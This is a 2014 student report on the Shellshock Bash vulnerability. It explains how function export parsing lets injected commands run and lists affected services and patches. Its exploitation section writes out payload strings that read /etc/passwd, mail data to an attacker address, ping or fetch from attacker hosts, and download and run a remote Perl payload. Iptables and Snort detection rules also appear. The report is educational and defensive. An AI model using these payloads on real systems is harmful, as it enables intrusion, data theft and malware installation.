Proposal for Report and Presentation Project

Zhenghong Dong, Network Security

Title: Shellshock: The Devastating Injection Hole In Linux Bash

Relevance: Shellshock is the recently discovered Bash vulnerability that exists in most Linux, Unix and Mac systems. This is a high-impact vulnerability due to the large number of systems that employ Bash and the high-level privilege, including the potential for root access, that attackers can gain. The vulnerability could be exploited to bypass any authentication mechanism installed in the system, completely disabling the security mechanisms that are relied on for protection.

Major points: This report covers the background of the Shellshock bug and its devastating impact if not remediated, and gives a detailed description of principles behind the super bug and how it could be exploited. The bug originates from the manner in which Bash distinguishes whether an environment variable is a function. Based on the explanations, test methods are provided to determine whether a machine is vulnerable to Shellshock.

References:

1. NIST. (September 24, 2014). *National Vulnerability Database*. “Vulnerability Summary for CVE-2014-6271.” Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-6271.
2. NIST. (September 24, 2014). *National Vulnerability Database.* “Vulnerability Summary for CVE-2014-7169.” Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-7169.
3. Trend Micro Threat Research Lab (2014) Shellshock: A Technical Report http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-shellshock.pdf

Student: Zhenghong Dong

Instructor: Stanley Wine

Course: Network Security

December 5, 2014

Shellshock: The Devastating Injection Hole In Linux Bash

Abstract: Shellshock is a recently reported bug family that exists in Bash, which is the default shell for most Unix and Linux systems. It is considered extremely dangerous because of its extremely widespread existence, easiness of exploitation through network, high impact on system security. Huge numbers of attacks exploiting the Shellshock vulnerability were detected shortly after its publication of the vulnerability. In this report, detailed description of the principles, affected software or services and exploitation examples are discussed. At last, recommended solutions of fixation are also given.

1. Introduction

Shellshock, originally named Bashdoor by its discloser Stéphane Chazelas, is a family of related security bugs that were found in the widely employed Bash shell in Unix related operating systems. It almost immediately became the headline of most security related media since its public disclosure on September 24, 2014[1]. The first bug of the family was assigned the CVE identifier CVE-2014-6271[2]. Patches aimed to fix this weakness were rapidly developed and sent out. However, the patch was proved to be incomplete [3]. Soon after the first one, 5 additional related flaws were discovered and assigned as CVE-2014-7169[4], CVE-2014-6277[5], CVE-2014-6278[6], CVE-2014-7186[7], and CVE-2014-7187[8]. Emergency alerts were distributed to related users by major security organizations and products providers such as US-CERT, Red Hat and Apple. US Department of Homeland Security determined Shellshock to be a level 10 severe vulnerability, which is the highest level on the severity magnitude scale from 1 to

10[9]. The rationale behind this extreme rating score is with respect to Shellshock's striking features: extremely widespread existence, easiness of exploitation through network, high impact to the entire security triad of confidentiality, integrity and availability after a successful attack.

The widespread existence is the primary security concern of Shellshock. Bash is the default shell for most Linux distributions, Unix systems and Apple OS X series,. Today 67.1% of Web servers are powered by Linux and Unix, estimated by W3Techs[10], 71% by Netcraft[11] or even up to 82% by Security Space. It is also installed in many jail-broken iOS devices and some customized Android products. Besides, Windows systems with win-bash or cygwin are also with potential targets to be attacked through Shellshock. Moreover, Shellshock exists from almost the beginning of Bash, affecting versions ranging from 1.14 to 4.3, which means nearly full coverage of the current Bash containing systems. Even more, almost all embedded equipments, such as routers, are running Linux which, if with active Bash, could theoretically be vulnerable to Shellshock attacks.

Another feature of Shellshock that makes it so dangerous is the striking easiness to exploit the vulnerability. An attack could be performed by anyone with modest knowledge of Bash without any special tools such as attack kits. If the attack is through HTTP request headers, the action will generally not be logged by the system, thus advanced intrusion detection systems are required for detection. Such attack could be launched by manually sending normal HTTP requests with piggy-backed arbitrary code forged by the attacker. As the attack appears as normal Web browsing requests to the system, firewalls are completely translucent to these actual command streams unless special rules are set up.

A scarier characteristic of Shellshock is the high impact on the security of victim systems after a successful attack. For the attackers, the gain of privilege to run commands in Bash of the target systems generally means the almost full control of the system. With this privilege, the attackers are already able to perform vicious acts such as visiting internal data, e.g., password files and highly confidential commercial information, reconfiguring the environment and planting more malicious codes. With a little more effort, these privileges could be escalated to root access privilege by experienced attackers. Moreover, there are evidences showing that automatic attack kits may have already been developed and are available to less

experienced attackers, which greatly increase the gravity. Nonetheless, it is widely believed that these features of Shellshock make it a highly potential target for worms.

2. Attack reports.

In only as short as four days after the publication of Shellshock, a security company Incapsula claimed that its Web application firewall deflected more than 217,089 exploit attempts on over 4,115 domains[12]. However, the company estimated that the total number of Shellshock attacks could be as high as 1 million. By September 30, another company Cloudflare reported that it had already blocked over 1.1 million Shellshock attacks. Dell SecureWorks reported that it repelled 140,000 scans looking for vulnerable systems, as well as attacks targeting the flaw against its clients, between Sept. 24 and Sept. 29. Honeypots had been put in place to analyze these attack attempts by threat intelligence firm ThreatStream. According to ThreatStream, most of these attempts could be attributed into two categories: reconnaissance and real attacks. The first category was attempts to scan the network in order to test the proofs-of-concept of the vulnerability in machines or collecting information of affected computer systems for further exploitation. The second category was real attacks that were believed to have already brought damages to unknown number of hosts. However, the honeypots they used were only detecting attacks on HTTP, with all information of attacks targeting FTP, SMTP, SSH, DHCP and other potential routes missing. Besides, a malware that exploits Shellshock named BASHLITE has already been spread on an unknown scale. Fortunately patches have been developed in major operating systems soon after the outburst and security alerts were broadcasted over the Internet. However, many experts are still worried that plenty of machines are still out there not fixed and prone to attack.

3. Principles and technical details

To understand the principle of Shellshock, It is necessary to start from explaining how the environmental variables and functions work in Bash. In Linux and Unix systems, every process has its own set of environment variables that are inherited from its parent process at the moment of its creation. These variables are defined to affect the behavior of the running processes. Besides, the normal opera-

tion of a process also requires essential information stored in environmental variables, such as preferences and temporary data. Frequently used environmental variables include $PATH, $HOME, $PS1, $MAIL. Command shells such as Bash are frequently used to retrieve, create and update environmental variables. To retrieve an environment variable, one could simply run command “echo”, for instance, “echo $PATH”, or use the variable in shell scripts as a global variable. The command “export” is used to create or update default or user-defined environmental variables, for example, “export VARIABLE= some_value”. To be noticed, user defined variables must be exported to environmental variables in order to be accessible to its subshells or child processes. Another more powerful command is “env”, which not only could be used to export local variables to environmental variables like “export” command, but also check which environmental variables will be available in subshells.

Besides variables, functions can also be exported as environmental to be used in subshells. Let’s define a simple function and use it in Bash,

```
$ func_test(){ echo “hello, world”; }
$ func_test
hello, world
$ bash
$ func_test
bash: func_test: command not found.
```

In line 4, “bash” command is used to start a new subshell. Clearly func_test cannot be used in the subshell. See what if an export command was inserted between line 3 and 4.

```
$ func_test(){ echo “hello, world”; }
$ func_test
hello, world
$export -f func_test
$ bash
$func_test
```

```
hello, world
```

Now if running the command “env”, the function “func_test” will be found in the output.

```
$ env
func_test=() {  echo "hello,world"
}
```

Note that other unrelated outputs are omitted. From these tests, it is evident that Bash treats environmental variables and functions the same way. The manner for Bash to distinguish whether an environmental variable is a function is just to check the beginning of the variable. If it started with “()”, the environmental variable would be considered as a function by Bash. With this knowledge in mind, those hackers who are familiar with Bash forged command like this [13]:

```
$export test1=‘() { echo “inside test1” ;}; echo “outside test1”;’
```

Check the environmental variables now:

```
$env
test1=() { echo “inside test1” ;}; echo “outside test1”;
```

Clearly what has been exported is already in the environmental variable list. However, a closer look at this carefully designed function will reveal its trick. During the process of exporting environmental function “test”, everything included in the single quotation marks is considered as part of the definition of the function. However, single quotation marks are not part of the function and will not show up in the function that is listed in the environmental variable list. The function actually ended at the right curly bracket. Any commands after the semicolon become independent and will be executed when a subshell is spawned and the environmental variables are duplicated.

```
$bash
outside test1
```

Moreover, a more serious situation has been found that another command could be piggy-backed outside of the single quotation marks which does not require child process spawning to run.

```
$env test2=‘() { echo “inside test2” ;};’ echo “outside test2”
```

```
outside test2
```

Using the same principles combined with Bash grammars, a more complicated test script could be fabricated [7]:

```
$env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Bash is vulnerable!
Bash Test
```

It can be seen that with this script, both the commands in and out of the single quotation marks are executed. The colon in the curly brackets is equivalent to the command "/bin/true" which simply returns a "true" value and exit. The following "bash -c" command means spawning a child subshell and executing what is behind. The bug explained above is an example of the Shellshock Bash vulnerability CVE-2014-6271. To summarize, current Bash versions allow exporting environment variable functions which are defined starting with "(){" in the variable value. However, Bash does not stop after processing the function definition and continues to parse and execute commands following the function definition. Thus, this feature engenders the vulnerability that illegal commands could be appended after the environmental variable function and executed without permission requests.

Soon after the report of CVE-2014-6271, another major vulnerability CVE-2014-7169 was published and the test method was provided. This more serious bug differs from the first one by the feature of including the invoking of Bash interpreter exception and the ability to directly write files into the system. The published testing method is presented below:

```
$env X=' () { (a)=>\' sh -c "echo date"; cat echo
```

In the script, the author attempted to define an environmental variable function X with a body of '() { (a)=>\'. But there are several intentionally constructed tricks in this definition. First, the definition is not a complete one as there is no right curly bracket. Second, "(a)=" is a command with erroneous grammar and will invoke exception. Third, "\" is not used to escape the right single quotation mark but to be a return. At the execution process, "(a)=" triggered the exception and now only ">\" is left in the buffer region. Magically, Bash will put "echo date" in the current buffer region and execute. Since we mentioned that "\"

is a return mark here, the effect of the command is equivalent to “> echo date”. Now it is evident that “>” here works as a redirection mark. The command is the same as “date > echo” which write a file named “echo” in the system. The file is full of output of “date” command.

Other bugs in Shellshock family are targeting the manner that Bash parses code. CVE-2014-7186 is related to an out-of-bounds memory access error. The command below is one demonstration:

```
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' ll echo "CVE-2014-7186 vulnerable, redir_stack"
```

This command includes multiple declarations of “<<EOF” to trigger an error and make the vulnerable Bash echo the text “CVE-2014-7186 vulnerable, redir_stack”.

4. Targeted programs/services

As current HTTP server programs such as Apache are working in such a manner that they dynamically spawn subshells to meet the requirement of outbursting large scale visiting as well as save resources at low traffic periods. This mechanism inevitably involves the exporting of environment variables. Some of the environment variables could be taken from clients, such as HTTP_USER_AGENT, HTTP_-HEADER. A very good example is provided by Robert Graham at his website as below [14]:

```
target=0.0.0.0/0
port=80
http-user-agent=shellshock-scan
http-header[Cookie] = () { :; }; ping -c 3 209.126.230.74
http-header[Host] =() { :;}; ping -c 3 209.126.230.74
http-header[Referer] = { :;}; ping -c 3 209.126.230.74
```

Moreover, despite the fact the HTTP_USER_AGENT variables are usually detected correctly by software such as browsers, there are plenty of tools that could be used to provide customized variables. For instance, wget and curl both provide options that can be used to construct any kind of HTTP_USER_A-GENT variables, including illegal one.

```
$curl -H “User-Agent: () { :;}; /bin/echo test” http://example.com

$wget -U “() { :;}; /bin/echo test” http://example.com
```

Browsers such as Safari also provide this function. Experienced programmers can write higher level programs that allows even more powerful attacks.

Besides the HTTP server variables, many other programs also allow the usage of remotely provided environmental variables. Thus, the bottom line is that any program which may interact with Bash and spawn child process in subshell is vulnerable to Shellshock bugs. Some typical such operations are listed in the following table.

Table 1. Examples of programs that affected by Shellshock

Programs/Services	Modules	Typical trigger
Apache	mod_cgi,mod_cgid	Bash, C(system/popen), Python(os.system/ os.popen), PHP(system/exec), Perl(open/system)
DHCP	DHCP client	Bash
Git/Subversion	shell scripts	Bash
OpenSSH	ForceCommand	Bash
SMTP	Qmail	Bash

In the Git/Subversion server case, these programs are usually safe because they are in the restricted shell environment. Even successful infiltration does not engender appreciable damage because no arbitrary commands can be executed under such restriction. However, the Shellshock vulnerability

could help the attacker bypass the restriction. The following command is a demonstration of attacking Git server:

```
ssh git@gitserver '() { :;}; echo vulnerable'
```

DHCP server side program provides options for the administrator of the server to append customized variables in the settings as parameters for the client system. The attacker could set up a malicious DHCP server and wait for the requests from victim machines. Any clients attempt to connect with such a DHCP server will execute the crafted code thus be attacked.

5. Examples of exploitation.

As principles and routes provided above, what kinds of attacks can be carried out is only limited to the attacker's imagination. Here we discuss several types of popular attacks.

Firstly, Shellshock can be utilized to retrieve confidential information from the victim server. For example, injection of the following command will reveal password file, which is highly sensitive, to the attacker:

```
() { :;}; /bin/cat /etc/passwd
```

In another attack, the attacker can find out who is running the server and other important information by email:

```
() { :;}; /bin/bash -c "whoami | mail -s 'example.com' attacker@gmail.com"
```

Here the command "whoami" could be substituted into any other commands and "attacker@gmail.com" is the email address for the attacker to receive such information. Files in the system could be sent out in the same way.

Secondly, Shellshock is also useful for reconnaissance. It is often that attackers utilize other machines rather than theirs, such as bots they control, to perform reconnaissance and attacks to avoid tracing back. On this sense, a server with Shellshock vulnerability could be very useful and easy to manipulate. The purpose of reconnaissance is to find out which machines are vulnerable. A popular technique to achieve this mission is simply to make the target machines send "ping" back. Here's an example comand:

```
() { :;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com
```

In this command, the attacker injected a ping command, which will ping once with a unique payload id to attacker-machine.com. Listening mechanisms are deployed on the attacker-machine.com to collect information and determine which targets are alive and vulnerable. Another technique often used to identify vulnerable servers is to make the web server download a fabricated web page with special name from an attacker-controlled machine. The attacker can then check the logs of his own web server to find out which machine is vulnerable. One example Shellshock string:

```
() { :;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==
>> /dev/null
```

Thirdly, Shellshock could directly be utilized to perform Denial of Service attack. A simple Shellshock string goes like this:

```
() { :;}; /bin/sleep 20l/sbin/sleep 20l/usr/bin/sleep 20
```

Here the attacker uses three different sleep commands to increase the probability of successful attack as server configurations are various. A vulnerable target that executes the command will sleep for 20 seconds and do nothing else. Thus, a Denial of Service is achieved as this thread or process on the server will not respond to legitimate requests.

Fourthly and more seriously, Shellshock could be exploited to directly take control of target servers. As the demonstration of the ability to make vulnerable machines download files from attacker controlled servers, the attacker could definitely set up malware such as Trojans, rootkits as the downloading source files. Check this:

```
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /
tmp/ji\”
```

In this example, several lines of Bash commands are injected and executed using the Shellshock vulnerability, which are designed to download a malware, execute it and clean it up after successful execution. Since the software environment on the target machine is unknown, the author used both “curl” and “wget” command in case one of them is not installed. After this attack, the target system now is under the control of the attacker through the malware just installed.

6. Recommended solutions of fixation

With the potential damaging ability of Shellshock in mind, every system administrator and even common user who are using systems with possible influence should test the vulnerability immediately. If affected, there are several measures to be taken to eliminate the weakness. The first recommendation is to update Bash to a latest, invulnerable version. A more drastic measure is to switch the default shell from Bash to other invulnerable alternatives, such as dash or tsh.

Table 2. Means to update Bash in major distributions of Linux.

OS	Available invulnerable version	update command example
RHEL	RHSA-2014:1306-1 BASH-3.2-33.el5_11.4 (RHEL5) BASH-4.1.2-15.el6_5.2 (RHEL6) BASH-4.2.45-5.el7_0.4 (RHEL7)	sudo yum update bash
CentOS	BASH-3.2-33.el5_10.4 (CentOS 5) BASH-4.1.2-15.el6_5.2 (CentOS 6) BASH-4.2.45-5.el7_0.4 (CentOS 7)	sudo yum update bash
Fedora	BASH-4.2.48-2.fc19 (Fedora 19) BASH-4.2.48-2.fc20 (Fedora 20) BASH-4.3.25-2.fc21 (Fedora 21)	sudo yum update bash
Ubuntu	USN-2362-1 (CVE-2014-6271) USN-2363-1 (CVE-2014-7169) 4.1-2ubuntu3.2 (Ubuntu 10.04 LTS) 4.2-2ubuntu2.3 (Ubuntu 12.04 LTS) 4.3-7ubuntu1.2 (Ubuntu 14.04 LTS)	sudo apt-get update && sudo apt-get install --only-upgrade bash
SuSE	CVE-2014-6271/Bug 896776 CVE-2014-7169/Bug 898346 3.2-147.20.1 (SuSE11) 3.1-24.32.1 (SuSE10)	zypper ref -s zypper up bash

OS	Available invulnerable version	update command example
Debian	DSA-3032-1 (CVE-2014-6271) DSA-3035-1 (CVE-2014-7169) 4.1-3+deb6u2 (squeeze (lts)) 4.2+dfsg-0.1+deb7u3 (wheezy(security)) 4.3-9.2 (sid)	sudo apt-get update && sudo apt-get install --only-upgrade bash
Gentoo	Bug 523592 BASH-3.1_p18-r1 BASH-3.2_p52-r1 BASH-4.0_p39-r1 BASH-4.1_p12-r1 BASH-4.2_p48-r1	emerge --sync emerge --ask --oneshot --verbose ">=app-shells/bash-4.2_p48-r1"
AWS	CVE-2014-6271 CVE-2014-7169	Advisory ALAS-2014-418 Advisory ALAS-2014-419

Updating Bash or switching to alternatives could lead to unknown problems and disruption of current running programs in the system due to dependencies. In such case, one could install the patches provided by the system or service vendors. In fact, briefly after the explosion of Shellshock, major system or service providers had already pushed their patches to fix the bug. However, early patches are believed to only correct part of the vulnerability. Thus, installation of the latest patches is strongly recommended. Besides strengthening Bash, firewalls and intrusion detection systems or intrusion prevention systems can also be tuned to intercept suspicious requests. Below are the rules for iptables and Snort [13]:

iptables:

```
# iptables -A INPUT -m string -algo bm -hexstring '|28 29 20 7B|' -j DROP
# ip6tables -A INPUT -m string -algo bm -hexstring '|28 29 20 7B|' -j DROP
```

Snort:

```
alert tcp $EXTERNAL_NET any > $HOME_NET $HTTP_PORTS (msg:"Possible CVE20146271
BASH Vulnerability Requested (header) "; flow:established,to_ server; content:"() {"; http_header;
threshold:type limit, track by_src, count 1, seconds 120; sid:2014092401;)
```

7. Conclusion

Shellshock is such a widespread, easily exploited, high impact bug. Yet it has been there over two decades without noticing. Up on its publication, millions of attacks targeting Shellshock were detected

in just a few days. Many kinds of typical attacking methods are revealed. Although patches have been published and other counter measures have been suggested, there must be a myriad of systems still not fixed due to various reasons. Thus Shellshock attacks could be expected to keep bringing damage in a long period. Besides, more related vulnerabilities could still be discovered in the future. Therefore, persistent, keen attention must be paid to the possible new threats related to Shellshock.

References:

1. Perlroth, Nicole (25 September 2014). "Security Experts Expect 'Shellshock' Software Bug in Bash to Be Significant". *New York Times*. Retrieved 25 September 2014.

2. NIST. (September 24, 2014). *National Vulnerability Database*. "Vulnerability Summary for CVE-2014-6271." Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-6271.

3. Gallagher, Sean (26 September 2014). "Still more vulnerabilities in bash? Shellshock becomes whack-a-mole". *Arstechnica*. Retrieved 26 September 2014

4. NIST. (September 24, 2014). *National Vulnerability Database.* "Vulnerability Summary for CVE-2014-7169." Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-7169.

5. NIST. (September 24, 2014). *National Vulnerability Database*. "Vulnerability Summary for CVE-2014-7177." Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-6277.

6. NIST. (September 24, 2014). *National Vulnerability Database*. "Vulnerability Summary for CVE-2014-7178." Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-6278.

7. NIST. (September 24, 2014). *National Vulnerability Database*. "Vulnerability Summary for CVE-2014-7186." Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-7186.

8. NIST. (September 24, 2014). *National Vulnerability Database*. “Vulnerability Summary for CVE-2014-7187.” Last accessed September 27, 2014, http://web.nvd.nist.gov/ view/vuln/detail?vulnId=CVE-2014-7187.

9. US-CERT (25 September 2014), “Alert (TA14-268A), GNU Bourne-Again Shell (Bash) ‘Shellshock’ Vulnerability (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277 and CVE 2014-6278)”. *us-cert.gov.* Last revised: September 30, 2014

10. W3Techs, (1 December 2014). “Usage of operating systems for websites”. *w3techs.com.* Retrieved 3 December 2014 http://w3techs.com/technologies/overview/operating_system/all.

11. Netcraft, (September 2014). “September 2014 Web Server Survey”. *netcraft.com.* Retrieved 3 December 2014 http://news.netcraft.com/archives/2014/09/24/september-2014-web-server-survey.html.

12. Jennifer LeClaire(1 October 2014). “1 Billion Attacks Target Shellshock Vulnerability”. *newsfactor.com*. http://www.newsfactor.com/story.xhtml?story_id=00100018PJ6Y

13. Trend Micro Incorporated. (2014). TrendLabs.“Shellshock: A Technical Report.” Last accessed September 27, 2014. http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-shellshock.pdf.

14. Robert Graham. (24 September 2014). “Bash 'shellshock' scan of the Internet”. erratasec.com. Retrieved 3 December 2014. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VHJWmosjifR